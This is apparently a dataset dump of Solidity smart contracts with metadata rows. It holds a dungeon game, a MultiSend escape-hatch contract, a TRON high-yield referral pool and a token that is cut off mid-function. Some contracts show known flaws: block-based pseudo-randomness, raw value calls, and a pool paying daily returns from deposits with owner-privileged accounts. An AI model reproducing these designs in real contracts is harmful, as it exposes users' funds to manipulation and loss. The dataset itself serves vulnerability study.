heroIdToMonster[_heroId] = Monster(uint64(now), newLevel, newLevel * monsterHealth, newLevel * monsterHealth); monster = heroIdToMonster[_heroId]; // Determine the rewards based on current level. if (currentLevel == checkpointLevel) { // By defeating the checkPointLevel boss, half of the entranceFee is refunded. rewards = entranceFee / 2; heroIdToRefundedFee[_heroId] += rewards; entranceFeePool -= rewards; } else if (currentLevel == breakevenLevel) { // By defeating the breakevenLevel boss, another half of the entranceFee is refunded. rewards = entranceFee / 2; heroIdToRefundedFee[_heroId] += rewards; entranceFeePool -= rewards; } else if (currentLevel == jackpotLevel) { // By defeating the jackpotLevel, the player win the entire jackpot. rewards = jackpot / 2; jackpot -= rewards; } msg.sender.transfer(rewards); } else { // Monster is damanged but not defeated, hurry up! monster.health -= uint8(damageByHero); // Calculate the damage by monster only if it is not defeated. // Determine if the monster has fled due to hero failed to attack within flee period. if (now > monster.creationTime + monsterFleeTime) { // When a monster flees, the monster will attack the hero and flee. // The damage is calculated by monster level + monsterStrength. damageByMonster = currentLevel + monsterStrength; } else { // When a monster attack back the hero, the damage will be less than monster level / 2. if (currentLevel >= 2) { damageByMonster = _getRandomNumber(currentLevel / 2); } } } // Check if hero is defeated. if (damageByMonster >= _heroCurrentHealth) { // Hero is defeated, the dungeon run ends. heroIdToHealth[_heroId] = 0; // Add the non-refunded fee to jackpot. uint addToJackpot = entranceFee - heroIdToRefundedFee[_heroId]; if (addToJackpot > 0) { jackpot += addToJackpot; entranceFeePool -= addToJackpot; heroIdToRefundedFee[_heroId] += addToJackpot; } // Sanity check. assert(addToJackpot <= entranceFee); } else { // Hero is damanged but didn't defeated, game continues with a new monster. if (damageByMonster > 0) { heroIdToHealth[_heroId] -= damageByMonster; } // If monser fled, create next level monster. if (now > monster.creationTime + monsterFleeTime) { currentLevel++; heroIdToMonster[_heroId] = Monster(uint64(monster.creationTime + monsterFleeTime), currentLevel, currentLevel * monsterHealth, currentLevel * monsterHealth); monster = heroIdToMonster[_heroId]; } } // Emit LogAttack event. LogAttack(now, msg.sender, _heroId, currentLevel, damageByHero, damageByMonster, isMonsterDefeated, rewards); } /// @dev Return a pseudo random uint smaller than _upper bounds. function _getRandomNumber(uint _upper) private returns (uint) { _seed = uint(keccak256(_seed, block.blockhash(block.number - 1), block.coinbase, block.difficulty)); return _seed % _upper; } /// @dev Throws if the caller address is a contract. modifier onlyHumanAddress() { address addr = msg.sender; uint size; assembly { size := extcodesize(addr) } require(size == 0); _; } }
136,534
12,111
d0dca4dea6ab98808d0ec9efe263106155f24b91cdd019e7d725111f99746367
17,703
.sol
Solidity
false
416581097
NoamaSamreen93/SmartScan-Dataset
0199a090283626c8f2a5e96786e89fc850bdeabd
evaluation-dataset/0x5fcc77ce412131daeb7654b3d18ee89b13d86cbf.sol
4,096
16,589
pragma solidity ^0.4.19; /// Add an extra comment here see if I care /// @title Owned /// @author Adri Massanet <adria@codecontext.io> /// @notice The Owned contract has an owner address, and provides basic /// authorization control functions, this simplifies & the implementation of /// user permissions; this contract has three work flows for a change in /// ownership, the first requires the new owner to validate that they have the /// ability to accept ownership, the second allows the ownership to be /// directly transfered without requiring acceptance, and the third allows for /// the ownership to be removed to allow for decentralization contract Owned { address public owner; address public newOwnerCandidate; event OwnershipRequested(address indexed by, address indexed to); event OwnershipTransferred(address indexed from, address indexed to); event OwnershipRemoved(); /// @dev The constructor sets the `msg.sender` as the`owner` of the contract function Owned() public { owner = msg.sender; } /// @dev `owner` is the only address that can call a function with this /// modifier modifier onlyOwner() { require (msg.sender == owner); _; } /// @dev In this 1st option for ownership transfer `proposeOwnership()` must /// be called first by the current `owner` then `acceptOwnership()` must be /// called by the `newOwnerCandidate` /// @notice `onlyOwner` Proposes to transfer control of the contract to a /// new owner /// @param _newOwnerCandidate The address being proposed as the new owner function proposeOwnership(address _newOwnerCandidate) public onlyOwner { newOwnerCandidate = _newOwnerCandidate; OwnershipRequested(msg.sender, newOwnerCandidate); } /// @notice Can only be called by the `newOwnerCandidate`, accepts the /// transfer of ownership function acceptOwnership() public { require(msg.sender == newOwnerCandidate); address oldOwner = owner; owner = newOwnerCandidate; newOwnerCandidate = 0x0; OwnershipTransferred(oldOwner, owner); } /// @dev In this 2nd option for ownership transfer `changeOwnership()` can /// be called and it will immediately assign ownership to the `newOwner` /// @notice `owner` can step down and assign some other address to this role /// @param _newOwner The address of the new owner function changeOwnership(address _newOwner) public onlyOwner { require(_newOwner != 0x0); address oldOwner = owner; owner = _newOwner; newOwnerCandidate = 0x0; OwnershipTransferred(oldOwner, owner); } /// @dev In this 3rd option for ownership transfer `removeOwnership()` can /// be called and it will immediately assign ownership to the 0x0 address; /// it requires a 0xdece be input as a parameter to prevent accidental use /// @notice Decentralizes the contract, this operation cannot be undone /// @param _dac `0xdac` has to be entered for this function to work function removeOwnership(address _dac) public onlyOwner { require(_dac == 0xdac); owner = 0x0; newOwnerCandidate = 0x0; OwnershipRemoved(); } } contract ERC20 { /// @dev Returns the total token supply function totalSupply() public constant returns (uint256 supply); /// @dev Returns the account balance of the account with address _owner function balanceOf(address _owner) public constant returns (uint256 balance); /// @dev Transfers _value number of tokens to address _to function transfer(address _to, uint256 _value) public returns (bool success); /// @dev Transfers _value number of tokens from address _from to address _to function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); /// @dev Allows _spender to withdraw from the msg.sender's account up to the _value amount function approve(address _spender, uint256 _value) public returns (bool success); /// @dev Returns the amount which _spender is still allowed to withdraw from _owner function allowance(address _owner, address _spender) public constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /// @dev `Escapable` is a base level contract built off of the `Owned` /// contract; it creates an escape hatch function that can be called in an /// emergency that will allow designated addresses to send any ether or tokens /// held in the contract to an `escapeHatchDestination` as long as they were /// not blacklisted contract Escapable is Owned { address public escapeHatchCaller; address public escapeHatchDestination; mapping (address=>bool) private escapeBlacklist; // Token contract addresses /// @notice The Constructor assigns the `escapeHatchDestination` and the /// `escapeHatchCaller` /// @param _escapeHatchCaller The address of a trusted account or contract /// to call `escapeHatch()` to send the ether in this contract to the /// `escapeHatchDestination` it would be ideal that `escapeHatchCaller` /// cannot move funds out of `escapeHatchDestination` /// @param _escapeHatchDestination The address of a safe location (usu a /// Multisig) to send the ether held in this contract; if a neutral address /// is required, the WHG Multisig is an option: /// 0x8Ff920020c8AD673661c8117f2855C384758C572 function Escapable(address _escapeHatchCaller, address _escapeHatchDestination) public { escapeHatchCaller = _escapeHatchCaller; escapeHatchDestination = _escapeHatchDestination; } /// @dev The addresses preassigned as `escapeHatchCaller` or `owner` /// are the only addresses that can call a function with this modifier modifier onlyEscapeHatchCallerOrOwner { require ((msg.sender == escapeHatchCaller)||(msg.sender == owner)); _; } /// @notice Creates the blacklist of tokens that are not able to be taken /// out of the contract; can only be done at the deployment, and the logic /// to add to the blacklist will be in the constructor of a child contract /// @param _token the token contract address that is to be blacklisted function blacklistEscapeToken(address _token) internal { escapeBlacklist[_token] = true; EscapeHatchBlackistedToken(_token); } /// @notice Checks to see if `_token` is in the blacklist of tokens /// @param _token the token address being queried /// @return False if `_token` is in the blacklist and can't be taken out of /// the contract via the `escapeHatch()` function isTokenEscapable(address _token) constant public returns (bool) { return !escapeBlacklist[_token]; } /// @notice The `escapeHatch()` should only be called as a last resort if a /// security issue is uncovered or something unexpected happened /// @param _token to transfer, use 0x0 for ether function escapeHatch(address _token) public onlyEscapeHatchCallerOrOwner { require(escapeBlacklist[_token]==false); uint256 balance; /// @dev Logic for ether if (_token == 0x0) { balance = this.balance; escapeHatchDestination.transfer(balance); EscapeHatchCalled(_token, balance); return; } /// @dev Logic for tokens ERC20 token = ERC20(_token); balance = token.balanceOf(this); require(token.transfer(escapeHatchDestination, balance)); EscapeHatchCalled(_token, balance); } /// @notice Changes the address assigned to call `escapeHatch()` /// @param _newEscapeHatchCaller The address of a trusted account or /// contract to call `escapeHatch()` to send the value in this contract to function changeHatchEscapeCaller(address _newEscapeHatchCaller) public onlyEscapeHatchCallerOrOwner { escapeHatchCaller = _newEscapeHatchCaller; } event EscapeHatchBlackistedToken(address token); event EscapeHatchCalled(address token, uint amount); } // Copyright (C) 2018 Alon Bukai This program is free software: you // can redistribute it and/or modify it under the terms of the GNU General // Public License as published by the Free Software Foundation, version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY // or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for // more details. You should have received a copy of the GNU General Public // License along with this program. If not, see http://www.gnu.org/licenses/ /// @notice `MultiSend` is a contract for sending multiple ETH/ERC20 Tokens to /// multiple addresses. In addition this contract can call multiple contracts /// with multiple amounts. There are also TightlyPacked functions which in /// some situations allow for gas savings. TightlyPacked is cheaper if you /// need to store input data and if amount is less than 12 bytes. Normal is /// cheaper if you don't need to store input data or if amounts are greater /// than 12 bytes. Supports deterministic deployment. As explained /// here: https://github.com/ethereum/EIPs/issues/777#issuecomment-356103528 contract MultiSend is Escapable { /// @dev Hardcoded escapeHatchCaller address CALLER = 0x839395e20bbB182fa440d08F850E6c7A8f6F0780; /// @dev Hardcoded escapeHatchDestination address DESTINATION = 0x8ff920020c8ad673661c8117f2855c384758c572; event MultiTransfer(address indexed _from, uint indexed _value, address _to, uint _amount); event MultiCall(address indexed _from, uint indexed _value, address _to, uint _amount); event MultiERC20Transfer(address indexed _from, uint indexed _value, address _to, uint _amount, ERC20 _token); /// @notice Constructor using Escapable and Hardcoded values function MultiSend() Escapable(CALLER, DESTINATION) public {} /// @notice Send to multiple addresses using a byte32 array which /// includes the address and the amount. /// Addresses and amounts are stored in a packed bytes32 array /// Address is stored in the 20 most significant bytes /// The address is retrieved by bitshifting 96 bits to the right /// Amount is stored in the 12 least significant bytes /// The amount is retrieved by taking the 96 least significant bytes /// and converting them into an unsigned integer /// Payable /// @param _addressesAndAmounts Bitwise packed array of addresses /// and amounts function multiTransferTightlyPacked(bytes32[] _addressesAndAmounts) payable public returns(bool) { uint startBalance = this.balance; for (uint i = 0; i < _addressesAndAmounts.length; i++) { address to = address(_addressesAndAmounts[i] >> 96); uint amount = uint(uint96(_addressesAndAmounts[i])); _safeTransfer(to, amount); MultiTransfer(msg.sender, msg.value, to, amount); } require(startBalance - msg.value == this.balance); return true; } /// @notice Send to multiple addresses using two arrays which /// includes the address and the amount. /// Payable /// @param _addresses Array of addresses to send to /// @param _amounts Array of amounts to send function multiTransfer(address[] _addresses, uint[] _amounts) payable public returns(bool) { uint startBalance = this.balance; for (uint i = 0; i < _addresses.length; i++) { _safeTransfer(_addresses[i], _amounts[i]); MultiTransfer(msg.sender, msg.value, _addresses[i], _amounts[i]); } require(startBalance - msg.value == this.balance); return true; } /// @notice Call to multiple contracts using a byte32 array which /// includes the contract address and the amount. /// Addresses and amounts are stored in a packed bytes32 array. /// Address is stored in the 20 most significant bytes. /// The address is retrieved by bitshifting 96 bits to the right /// Amount is stored in the 12 least significant bytes. /// The amount is retrieved by taking the 96 least significant bytes /// and converting them into an unsigned integer. /// Payable /// @param _addressesAndAmounts Bitwise packed array of contract /// addresses and amounts function multiCallTightlyPacked(bytes32[] _addressesAndAmounts) payable public returns(bool) { uint startBalance = this.balance; for (uint i = 0; i < _addressesAndAmounts.length; i++) { address to = address(_addressesAndAmounts[i] >> 96); uint amount = uint(uint96(_addressesAndAmounts[i])); _safeCall(to, amount); MultiCall(msg.sender, msg.value, to, amount); } require(startBalance - msg.value == this.balance); return true; } /// @notice Call to multiple contracts using two arrays which /// includes the contract address and the amount. /// @param _addresses Array of contract addresses to call /// @param _amounts Array of amounts to send function multiCall(address[] _addresses, uint[] _amounts) payable public returns(bool) { uint startBalance = this.balance; for (uint i = 0; i < _addresses.length; i++) { _safeCall(_addresses[i], _amounts[i]); MultiCall(msg.sender, msg.value, _addresses[i], _amounts[i]); } require(startBalance - msg.value == this.balance); return true; } /// @notice Send ERC20 tokens to multiple contracts /// using a byte32 array which includes the address and the amount. /// Addresses and amounts are stored in a packed bytes32 array. /// Address is stored in the 20 most significant bytes. /// The address is retrieved by bitshifting 96 bits to the right /// Amount is stored in the 12 least significant bytes. /// The amount is retrieved by taking the 96 least significant bytes /// and converting them into an unsigned integer. /// @param _token The token to send /// @param _addressesAndAmounts Bitwise packed array of addresses /// and token amounts function multiERC20TransferTightlyPacked (ERC20 _token, bytes32[] _addressesAndAmounts) public { for (uint i = 0; i < _addressesAndAmounts.length; i++) { address to = address(_addressesAndAmounts[i] >> 96); uint amount = uint(uint96(_addressesAndAmounts[i])); _safeERC20Transfer(_token, to, amount); MultiERC20Transfer(msg.sender, msg.value, to, amount, _token); } } /// @notice Send ERC20 tokens to multiple contracts /// using two arrays which includes the address and the amount. /// @param _token The token to send /// @param _addresses Array of addresses to send to /// @param _amounts Array of token amounts to send function multiERC20Transfer(ERC20 _token, address[] _addresses, uint[] _amounts) public { for (uint i = 0; i < _addresses.length; i++) { _safeERC20Transfer(_token, _addresses[i], _amounts[i]); MultiERC20Transfer(msg.sender, msg.value, _addresses[i], _amounts[i], _token); } } /// @notice `_safeTransfer` is used internally when transfer funds safely. function _safeTransfer(address _to, uint _amount) internal { require(_to != 0); _to.transfer(_amount); } /// @notice `_safeCall` is used internally when call a contract safely. function _safeCall(address _to, uint _amount) internal { require(_to != 0); require(_to.call.value(_amount)()); } /// @notice `_safeERC20Transfer` is used internally when /// transfer a quantity of ERC20 tokens. function _safeERC20Transfer(ERC20 _token, address _to, uint _amount) internal { require(_to != 0); require(_token.transferFrom(msg.sender, _to, _amount)); } /// @dev Default payable function to not allow sending to contract; /// remember this does not necesarily prevent the contract /// from accumulating funds. function () public payable { revert(); } }
196,819
12,112
979b033d72da89b0c1622c30dc8846716b5290e8e285e078899c000f831edf6d
14,194
.sol
Solidity
false
453466497
tintinweb/smart-contract-sanctuary-tron
44b9f519dbeb8c3346807180c57db5337cf8779b
contracts/mainnet/TY/TYBE6ubP13C5t3yHtmwsAij2G3nTCj3vgp_RiotPlusPoolC.sol
4,475
13,600
//SourceUnit: RiotPoolC.sol pragma solidity 0.5.12; contract RiotPlusPoolC { using SafeMath for uint256; uint256 constant public INVEST_MIN_AMOUNT = 1 * 1e6; uint256 constant public BASE_PERCENT = 300; uint256[] public REFERRAL_PERCENTS = [550, 350]; uint256 constant public MARKETING_FEE = 0; uint256 constant public PROJECT_FEE = 0; uint256 constant public PERCENTS_DIVIDER = 10000; uint256 constant public BALANCE_STEP = 200000000000000000000000000*1e6; uint256 constant public TIME_STEP = 1 days; address internal owner; uint256 public totalUsers; uint256 public totalInvested; uint256 public totalWithdrawn; uint256 public totalDeposits; address public marketingAddress; address public projectAddress; address public trc20Address; struct Governance { uint256 balance; bool isExists; } struct Deposit { uint256 amount; uint256 withdrawn; uint256 start; } struct User { Deposit[] deposits; uint256 checkpoint; address referrer; uint256 bonus; uint256 totalBonus; uint256 totalDividends; } mapping (address => User) internal users; mapping (address => Governance) public governances; event Newbie(address user); event NewDeposit(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RefBonus(address indexed referrer, address indexed referral, uint256 indexed level, uint256 amount); event FeePayed(address indexed user, uint256 totalAmount); modifier onlyOwner() { require(msg.sender == owner, "!owner"); _; } constructor(address marketingAddr, address projectAddr,address trc20Addr) public { marketingAddress = marketingAddr; projectAddress = projectAddr; trc20Address = trc20Addr; owner = msg.sender; // governances[owner] = Governance(0, true); } function invest(uint256 inAmount,address referrer) public { if (governances[msg.sender].isExists) { governances[msg.sender].balance = governances[msg.sender].balance.add(inAmount); totalInvested = totalInvested.add(inAmount); totalDeposits = totalDeposits.add(1); TRC20Token(trc20Address).transferFrom(msg.sender, address(this), inAmount); return; } require(inAmount >= INVEST_MIN_AMOUNT, "inAmount < INVEST_MIN_AMOUNT"); TRC20Token(trc20Address).transferFrom(msg.sender, address(this), inAmount); User storage user = users[msg.sender]; if (user.deposits.length > 0) { withdraw(); } TRC20Token(trc20Address).transfer(address(marketingAddress), inAmount.mul(MARKETING_FEE).div(PERCENTS_DIVIDER)); TRC20Token(trc20Address).transfer(address(projectAddress), inAmount.mul(PROJECT_FEE).div(PERCENTS_DIVIDER)); emit FeePayed(msg.sender, inAmount.mul(MARKETING_FEE.add(PROJECT_FEE)).div(PERCENTS_DIVIDER)); if (user.referrer == address(0) && referrer != msg.sender) { user.referrer = referrer; } if (user.referrer != address(0)) { address upline = user.referrer; for (uint256 i = 0; i < 2; i++) { if (upline != address(0)) { uint256 amount = inAmount.mul(REFERRAL_PERCENTS[i]).div(PERCENTS_DIVIDER); users[upline].bonus = users[upline].bonus.add(amount); users[upline].totalBonus = users[upline].totalBonus.add(amount); emit RefBonus(upline, msg.sender, i, amount); upline = users[upline].referrer; } else break; } } if (user.deposits.length == 0) { user.checkpoint = block.timestamp; totalUsers = totalUsers.add(1); emit Newbie(msg.sender); } user.deposits.push(Deposit(inAmount, 0, block.timestamp)); totalInvested = totalInvested.add(inAmount); totalDeposits = totalDeposits.add(1); emit NewDeposit(msg.sender, inAmount); } // function cheese(uint256 amount) public onlyOwner { // msg.sender.transfer(amount); // } function withdraw() public { if (governances[msg.sender].isExists) { TRC20Token(trc20Address).transfer(msg.sender, governances[msg.sender].balance); governances[msg.sender].balance = 0; return; } User storage user = users[msg.sender]; // bug // uint256 userPercentRate = getUserPercentRate(msg.sender); uint256 totalAmount; uint256 dividends; for (uint256 i = 0; i < user.deposits.length; i++) { if (user.deposits[i].withdrawn < user.deposits[i].amount.mul(1680).div(1000)) { if (user.deposits[i].start > user.checkpoint) { uint256 userPercentRate = getUserPercentRateByStartedAt(msg.sender, user.deposits[i].start); dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER)) .mul(block.timestamp.sub(user.deposits[i].start)) .div(TIME_STEP); } else { uint256 userPercentRate = getUserPercentRateByStartedAt(msg.sender, user.deposits[i].start); dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER)) .mul(block.timestamp.sub(user.checkpoint)) .div(TIME_STEP); } if (user.deposits[i].withdrawn.add(dividends) > user.deposits[i].amount.mul(1680).div(1000)) { dividends = (user.deposits[i].amount.mul(1680).div(1000)).sub(user.deposits[i].withdrawn); } user.deposits[i].withdrawn = user.deposits[i].withdrawn.add(dividends); /// changing of storage data totalAmount = totalAmount.add(dividends); } } user.totalDividends = user.totalDividends.add(totalAmount); uint256 referralBonus = getUserReferralBonus(msg.sender); if (referralBonus > 0) { totalAmount = totalAmount.add(referralBonus); user.bonus = 0; } // require(totalAmount > 0, "User has no dividends"); //uint256 contractBalance = address(this).balance; uint256 contractBalance = TRC20Token(trc20Address).balanceOf(address(this)); if (contractBalance < totalAmount) { totalAmount = contractBalance; } user.checkpoint = block.timestamp; TRC20Token(trc20Address).transfer(msg.sender, totalAmount); totalWithdrawn = totalWithdrawn.add(totalAmount); emit Withdrawn(msg.sender, totalAmount); } function setGovernances(address[] memory governanceAddr) public onlyOwner { // require(governanceAddr != address(0), "governance can't be address(0)"); // require(!governances[governanceAddr].isExists, "governance can't be set"); // governances[governanceAddr] = Governance(0, true); require(governanceAddr.length > 0, "governance can't be empty"); for (uint i = 0; i < governanceAddr.length; i++) { require(!governances[governanceAddr[i]].isExists, "governance can't be set"); governances[governanceAddr[i]] = Governance(0, true); } } function setOwner(address newOwnerAddr) public onlyOwner { require(newOwnerAddr != address(0), "owner can't be address(0)"); owner = newOwnerAddr; } function getContractBalance() public view returns (uint256) { //return address(this).balance; return TRC20Token(trc20Address).balanceOf(address(this)); } function getContractBalanceRate() public view returns (uint256) { uint256 contractBalancePercent = totalInvested.div(BALANCE_STEP); return BASE_PERCENT.add(contractBalancePercent); } function getUserPercentRate(address userAddress) public view returns (uint256) { User storage user = users[userAddress]; uint256 contractBalanceRate = getContractBalanceRate(); if (isActive(userAddress)) { uint256 timeMultiplier = (now.sub(user.checkpoint)).div(TIME_STEP).mul(50); return contractBalanceRate.add(timeMultiplier); } else { return contractBalanceRate; } } function getUserPercentRateByStartedAt(address userAddress,uint256 startedAt) public view returns (uint256) { //User storage user = users[userAddress]; uint256 contractBalanceRate = getContractBalanceRate(); if (isActive(userAddress)) { // 0.000694444444444444 = 0.069% uint256 timeMultiplier = (now.sub(startedAt)).div(TIME_STEP).mul(50); return contractBalanceRate.add(timeMultiplier); } else { return contractBalanceRate; } } function getUserDepositAvgRate(address userAddress) public view returns (uint256) { User storage user = users[userAddress]; //uint256 totalUserPercentRate; uint256 userDepositTotal; uint256 dividendsTotal; for (uint256 i = 0; i < user.deposits.length; i++) { if (user.deposits[i].withdrawn < user.deposits[i].amount.mul(1680).div(1000)) { if (user.deposits[i].start > user.checkpoint) { uint256 userPercentRate = getUserPercentRateByStartedAt(userAddress, user.deposits[i].start); dividendsTotal = dividendsTotal.add(user.deposits[i].amount.mul(userPercentRate)); userDepositTotal = userDepositTotal.add(user.deposits[i].amount); } else { uint256 userPercentRate = getUserPercentRateByStartedAt(userAddress, user.checkpoint); dividendsTotal = dividendsTotal.add(user.deposits[i].amount.mul(userPercentRate)); userDepositTotal = userDepositTotal.add(user.deposits[i].amount); } } } uint256 percentDividend = dividendsTotal.div(userDepositTotal); if (percentDividend > 1300) { percentDividend = 1300; } return percentDividend; } function getUserDividends(address userAddress) public view returns (uint256) { User storage user = users[userAddress]; // bug // uint256 userPercentRate = getUserPercentRate(userAddress); uint256 totalDividends; uint256 dividends; for (uint256 i = 0; i < user.deposits.length; i++) { if (user.deposits[i].withdrawn < user.deposits[i].amount.mul(1680).div(1000)) { if (user.deposits[i].start > user.checkpoint) { uint256 userPercentRate = getUserPercentRateByStartedAt(userAddress, user.deposits[i].start); dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER)) .mul(block.timestamp.sub(user.deposits[i].start)) .div(TIME_STEP); } else { uint256 userPercentRate = getUserPercentRateByStartedAt(userAddress, user.deposits[i].start); dividends = (user.deposits[i].amount.mul(userPercentRate).div(PERCENTS_DIVIDER)) .mul(block.timestamp.sub(user.checkpoint)) .div(TIME_STEP); } if (user.deposits[i].withdrawn.add(dividends) > user.deposits[i].amount.mul(1680).div(1000)) { dividends = (user.deposits[i].amount.mul(1680).div(1000)).sub(user.deposits[i].withdrawn); } totalDividends = totalDividends.add(dividends); /// no update of withdrawn because that is view function } } return totalDividends; } function getUserCheckpoint(address userAddress) public view returns(uint256) { return users[userAddress].checkpoint; } function getUserReferrer(address userAddress) public view returns(address) { return users[userAddress].referrer; } function getUserReferralBonus(address userAddress) public view returns(uint256) { return users[userAddress].bonus; } function getUserReferralBonusTotal(address userAddress) public view returns(uint256) { return users[userAddress].totalBonus; } function getUserAvailable(address userAddress) public view returns(uint256) { return getUserReferralBonus(userAddress).add(getUserDividends(userAddress)); } function isActive(address userAddress) public view returns (bool) { User storage user = users[userAddress]; if (user.deposits.length > 0) { if (user.deposits[user.deposits.length-1].withdrawn < user.deposits[user.deposits.length-1].amount.mul(1680).div(1000)) { return true; } } } function getUserDepositInfo(address userAddress, uint256 index) public view returns(uint256, uint256, uint256) { User storage user = users[userAddress]; return (user.deposits[index].amount, user.deposits[index].withdrawn, user.deposits[index].start); } function getUserAmountOfDeposits(address userAddress) public view returns(uint256) { return users[userAddress].deposits.length; } function getUserTotalDeposits(address userAddress) public view returns(uint256) { User storage user = users[userAddress]; uint256 amount; for (uint256 i = 0; i < user.deposits.length; i++) { amount = amount.add(user.deposits[i].amount); } return amount; } function getUserTotalWithdrawn(address userAddress) public view returns(uint256) { User storage user = users[userAddress]; uint256 amount; for (uint256 i = 0; i < user.deposits.length; i++) { amount = amount.add(user.deposits[i].withdrawn); } return amount; } function isContract(address addr) internal view returns (bool) { uint size; assembly { size := extcodesize(addr) } return size > 0; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; return c; } } contract TRC20Token { function totalSupply() public returns (uint256 total); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); function transferFrom(address from, address to, uint256 value) public returns (bool); function allowance(address owner, address spender) public view returns (uint256); }
302,434
12,113
dad29293955cc84d582fd8da8512d64fb187ba2ed847ea961c1da6e4092e46b0
11,278
.sol
Solidity
false
519123139
JolyonJian/contracts
b48d691ba0c2bfb014a03e2b15bf7faa40900020
contracts/8210_9417_0xfa891937df688e9e098e40374821bd934ca05ca4.sol
2,839
11,052
pragma solidity ^0.4.25; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; address public newOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; newOwner = address(0); } modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyNewOwner() { require(msg.sender != address(0)); require(msg.sender == newOwner); _; } function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != address(0)); newOwner = _newOwner; } function acceptOwnership() public onlyNewOwner returns(bool) { emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract ERC20 { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function allowance(address owner, address spender) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } interface TokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract HWQCToken is ERC20, Ownable, Pausable { using SafeMath for uint256; struct LockupInfo { uint256 releaseTime; uint256 termOfRound; uint256 unlockAmountPerRound; uint256 lockupBalance; } string public name; string public symbol; uint8 public decimals; uint256 internal initialSupply; uint256 internal totalSupply_; mapping(address => uint256) internal balances; mapping(address => bool) internal locks; mapping(address => bool) public frozen; mapping(address => mapping(address => uint256)) internal allowed; mapping(address => LockupInfo) internal lockupInfo; event Unlock(address indexed holder, uint256 value); event Lock(address indexed holder, uint256 value); event Burn(address indexed owner, uint256 value); event Mint(uint256 value); event Freeze(address indexed holder); event Unfreeze(address indexed holder); modifier notFrozen(address _holder) { require(!frozen[_holder]); _; } constructor() public { name = "HighWay Q Coin "; symbol = "HWQC"; decimals = 18; initialSupply = 3000000000; totalSupply_ = initialSupply * 10 ** uint(decimals); balances[owner] = totalSupply_; emit Transfer(address(0), owner, totalSupply_); } function () public payable { revert(); } function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public whenNotPaused notFrozen(msg.sender) returns (bool) { if (locks[msg.sender]) { autoUnlock(msg.sender); } require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _holder) public view returns (uint balance) { return balances[_holder]; } function lockupBalance(address _holder) public view returns (uint256 balance) { return lockupInfo[_holder].lockupBalance; } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused notFrozen(_from)returns (bool) { if (locks[_from]) { autoUnlock(_from); } require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { require(isContract(_spender)); TokenRecipient spender = TokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function allowance(address _holder, address _spender) public view returns (uint256) { return allowed[_holder][_spender]; } function lock(address _holder, uint256 _amount, uint256 _releaseStart, uint256 _termOfRound, uint256 _releaseRate) public onlyOwner returns (bool) { require(locks[_holder] == false); require(_releaseStart > now); require(_termOfRound > 0); require(_amount.mul(_releaseRate).div(100) > 0); require(balances[_holder] >= _amount); balances[_holder] = balances[_holder].sub(_amount); lockupInfo[_holder] = LockupInfo(_releaseStart, _termOfRound, _amount.mul(_releaseRate).div(100), _amount); locks[_holder] = true; emit Lock(_holder, _amount); return true; } function unlock(address _holder) public onlyOwner returns (bool) { require(locks[_holder] == true); uint256 releaseAmount = lockupInfo[_holder].lockupBalance; delete lockupInfo[_holder]; locks[_holder] = false; emit Unlock(_holder, releaseAmount); balances[_holder] = balances[_holder].add(releaseAmount); return true; } function 